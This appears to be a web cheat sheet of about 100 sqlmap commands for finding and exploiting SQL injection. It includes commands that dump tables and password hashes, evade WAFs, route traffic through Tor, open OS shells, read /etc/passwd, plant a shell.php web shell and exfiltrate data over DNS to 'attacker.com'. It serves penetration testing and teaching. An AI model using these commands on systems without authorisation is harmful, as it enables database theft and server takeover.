Skip to content

sqlmap

100 commands

Automates detection and exploitation of SQL injection: fingerprints the database, extracts data and can reach the file system or OS.

  • SQL injection
  • databases
  • exploitation

Install sqlmap

sudo apt install sqlmap

Basic SQL Injection Detection2

sqlmap -u "http://example.com/page.php?id=1"

Tests the specified URL parameter for basic SQL injection vulnerabilities.

sqlmap -u "http://example.com/page.php?id=1" --batch

Runs sqlmap in non-interactive mode using default answers.

Request File Injection1

sqlmap -r request.txt

Loads the HTTP request from a text file and tests all parameters.

Direct Connection1

sqlmap -d "mysql://user:password@192.168.1.1:3306/db_name"

Connects directly to the database using credentials.

Google Dorking1

sqlmap -g "inurl:php?id="

Uses Google dorks to find potential targets automatically.

POST Data Injection1

sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123"

Tests POST data parameters for SQL injection.

User-Agent Injection1

sqlmap -u "http://example.com/" --user-agent="SQLMAP"

Sets a custom User-Agent header to test for header-based injection.

Parameter Splitting1

sqlmap -u "http://example.com/" --param-del=";"

Sets a custom character to split parameter values.

Force DBMS1

sqlmap -u "http://example.com/" --dbms="MySQL"

Forces the backend DBMS to a specific type to speed up detection.

Link

Force OS1

sqlmap -u "http://example.com/" --os="Linux"

Forces the backend operating system to a specific type.

Link

Enumeration17

sqlmap -u "http://example.com/" --banner

Retrieves the database management system banner.

Link
sqlmap -u "http://example.com/" --current-user

Retrieves the database user currently running the query.

Link
sqlmap -u "http://example.com/" --current-db

Retrieves the name of the current database.

Link
sqlmap -u "http://example.com/" --is-dba

Checks if the current database user is a database administrator.

Link
sqlmap -u "http://example.com/" --users

Enumerates all database users.

Link
sqlmap -u "http://example.com/" --passwords

Enumerates database user password hashes.

Link
sqlmap -u "http://example.com/" --privileges

Enumerates privileges for database users.

Link
sqlmap -u "http://example.com/" --roles

Enumerates roles for database users.

Link
sqlmap -u "http://example.com/" --dbs

Enumerates all databases available on the server.

Link
sqlmap -u "http://example.com/" -D testdb --tables

Enumerates all tables within the specified database.

Link
sqlmap -u "http://example.com/" -D testdb -T users --columns

Enumerates all columns within the specified table.

Link
sqlmap -u "http://example.com/" -D testdb -T users --dump

Dumps all data from the specified table.

Link
sqlmap -u "http://example.com/" -D testdb -T users -C "user,pass" --dump

Dumps specific columns from the table.

Link
sqlmap -u "http://example.com/" --dump-all

Dumps the entire database content.

Link
sqlmap -u "http://example.com/" --exclude-sysdbs

Excludes system databases when enumerating tables.

Link
sqlmap -u "http://example.com/" --count

Retrieves the number of entries for tables.

Link
sqlmap -u "http://example.com/" --schema

Enumerates the database schema.

Link

Filtering2

sqlmap -u "http://example.com/" -D testdb -T users --dump --start=1 --stop=10

Dumps only the first 10 rows from the table.

Link
sqlmap -u "http://example.com/" -D testdb -T users --dump --where="id>5"

Dumps rows that match a specific condition.

Link

Advanced Injection Techniques9

sqlmap -u "http://example.com/" --technique=B

Restricts testing to Boolean-based blind injection only.

Link
sqlmap -u "http://example.com/" --technique=E

Restricts testing to Error-based injection only.

Link
sqlmap -u "http://example.com/" --technique=U

Restricts testing to Union-based injection only.

Link
sqlmap -u "http://example.com/" --technique=S

Restricts testing to Stacked queries injection only.

Link
sqlmap -u "http://example.com/" --technique=T

Restricts testing to Time-based blind injection only.

Link
sqlmap -u "http://example.com/" --technique=Q

Restricts testing to Inline query injection only.

Link
sqlmap -u "http://example.com/" --time-sec=10

Sets the delay for time-based injection to 10 seconds.

Link
sqlmap -u "http://example.com/" --union-cols=5

Specifies the exact number of columns for UNION query testing.

Link
sqlmap -u "http://example.com/" --union-char="1"

Specifies the character to use for bruteforcing number of columns.

Link

Risk and Level3

sqlmap -u "http://example.com/" --level=3

Increases test level to check headers like Cookie and User-Agent.

Link
sqlmap -u "http://example.com/" --level=5

Sets maximum test level to check all headers and parameters.

Link
sqlmap -u "http://example.com/" --risk=3

Increases risk level to include OR-based and heavy query tests.

Link

Performance4

sqlmap -u "http://example.com/" --threads=10

Sets the maximum number of concurrent HTTP requests.

Link
sqlmap -u "http://example.com/" --null-connection

Retrieves page length without body to save bandwidth.

Link
sqlmap -u "http://example.com/" --keep-alive

Uses persistent HTTP(s) connections.

Link
sqlmap -u "http://example.com/" --predict-output

Predicts common output values to reduce requests.

Link

WAF Evasion7

sqlmap -u "http://example.com/" --tamper="space2comment"

Replaces spaces with comments to bypass WAF filters.

Link
sqlmap -u "http://example.com/" --tamper="between"

Replaces greater/less than operators with SQL BETWEEN clause.

Link
sqlmap -u "http://example.com/" --tamper="charencode"

URL-encodes all characters in the payload.

Link
sqlmap -u "http://example.com/" --tamper="charunicodeencode"

Unicode-encodes non-standard characters.

Link
sqlmap -u "http://example.com/" --skip-waf

Skips heuristic WAF detection checks.

Link
sqlmap -u "http://example.com/" --random-agent

Uses a randomly selected User-Agent for each session.

Link
sqlmap -u "http://example.com/" --delay=2

Adds a delay between each HTTP request to avoid rate limiting.

Link

Authentication2

sqlmap -u "http://example.com/" --auth-type=Basic --auth-cred="admin:admin"

Uses Basic HTTP authentication.

Link
sqlmap -u "http://example.com/" --auth-file="auth.pem"

Uses a client certificate file for authentication.

Link

Network Configuration5

sqlmap -u "http://example.com/" --proxy="http://127.0.0.1:8080"

Routes traffic through a specified HTTP proxy.

Link
sqlmap -u "http://example.com/" --tor

Routes traffic through the Tor anonymity network.

Link
sqlmap -u "http://example.com/" --tor-type=SOCKS5

Specifies the Tor proxy type as SOCKS5.

Link
sqlmap -u "http://example.com/" --check-tor

Checks if the Tor connection is working properly.

Link
sqlmap -u "http://example.com/" --force-ssl

Forces usage of SSL/HTTPS.

Link

OS Interaction6

sqlmap -u "http://example.com/" --os-cmd=whoami

Executes a single operating system command.

Link
sqlmap -u "http://example.com/" --os-shell

Prompts for an interactive operating system shell.

Link
sqlmap -u "http://example.com/" --os-pwn

Prompts for an out-of-band shell via Meterpreter or VNC.

Link
sqlmap -u "http://example.com/" --os-smb

One-click prompt for an OOB shell, Meterpreter or VNC via SMB.

Link
sqlmap -u "http://example.com/" --os-bof

Attempts to exploit stored procedure buffer overflows.

Link
sqlmap -u "http://example.com/" --priv-esc

Attempts to escalate database process privileges.

Link

File System Access2

sqlmap -u "http://example.com/" --file-read="/etc/passwd"

Reads a file from the database server file system.

Link
sqlmap -u "http://example.com/" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

Uploads a local file to the database server file system.

Link

Advanced Access5

sqlmap -u "http://example.com/" --sql-shell

Provides an interactive SQL prompt.

Link
sqlmap -u "http://example.com/" --sql-query="SELECT version()"

Executes a single arbitrary SQL query.

Link
sqlmap -u "http://example.com/" --reg-read

Reads a Windows registry key value.

Link
sqlmap -u "http://example.com/" --reg-add

Writes a Windows registry key value data.

Link
sqlmap -u "http://example.com/" --reg-del

Deletes a Windows registry key value.

Link

Data Exfiltration1

sqlmap -u "http://example.com/" --dns-domain="attacker.com"

Uses DNS exfiltration for data retrieval.

Link

General Options9

sqlmap -u "http://example.com/" -v 3

Sets verbosity level to show payloads.

Link
sqlmap -u "http://example.com/" -v 6

Sets verbosity level to trace all HTTP traffic.

Link
sqlmap -u "http://example.com/" --flush-session

Flushes the session file to start fresh.

Link
sqlmap -u "http://example.com/" --fresh-queries

Ignores query results stored in the session file.

Link
sqlmap -u "http://example.com/" --save=config.ini

Saves the current configuration to an INI file.

Link
sqlmap -c config.ini

Loads options from a configuration INI file.

Link
sqlmap --update

Updates sqlmap to the latest version.

Link
sqlmap --purge

Safely removes all content from the sqlmap data directory.

Link
sqlmap --dependencies

Checks for missing third-party dependencies.

Link

Output Control3

sqlmap -u "http://example.com/" --batch --results-file=results.csv

Saves results to a CSV file.

Link
sqlmap -u "http://example.com/" --dump-format=HTML

Dumps data in HTML format.

Link
sqlmap -u "http://example.com/" --dump-format=SQLITE

Dumps data into a SQLite database file.

Link

Advanced Tuning5

sqlmap -u "http://example.com/" --hpp

Uses HTTP parameter pollution method.

Link
sqlmap -u "http://example.com/" --skip-urlencode

Skips URL encoding of payload data.

Link
sqlmap -u "http://example.com/" --eval="import hashlib; h=hashlib.md5(id).hexdigest()"

Evaluates Python code before the request.

Link
sqlmap -u "http://example.com/" --scope="example.com"

Regulates targets based on a regex scope.

Link
sqlmap -m targets.txt

Scans multiple targets listed in a text file.

Link

Brute Force3

sqlmap -u "http://example.com/" --common-tables

Checks for existence of common tables using a wordlist.

Link
sqlmap -u "http://example.com/" --common-columns

Checks for existence of common columns using a wordlist.

Link
sqlmap -u "http://example.com/" --common-files

Checks for existence of common files on the file system.

Link

Injection Point3

sqlmap -u "http://example.com/item/1*"

Uses the asterisk to manually mark the injection point.

Link
sqlmap -u "http://example.com/" --skip="user-agent"

Skips testing of the specified parameter.

Link
sqlmap -u "http://example.com/" --param-exclude="token"

Excludes parameters from testing based on regex.

Link

Crawling2

sqlmap -u "http://example.com/" --crawl=2

Crawls the website to a depth of 2 to find targets.

Link
sqlmap -u "http://example.com/" --crawl-exclude="logout"

Excludes specific pages from crawling based on regex.

Link

Cleanup1

sqlmap -u "http://example.com/" --cleanup

Removes tables or functions created by sqlmap.

Link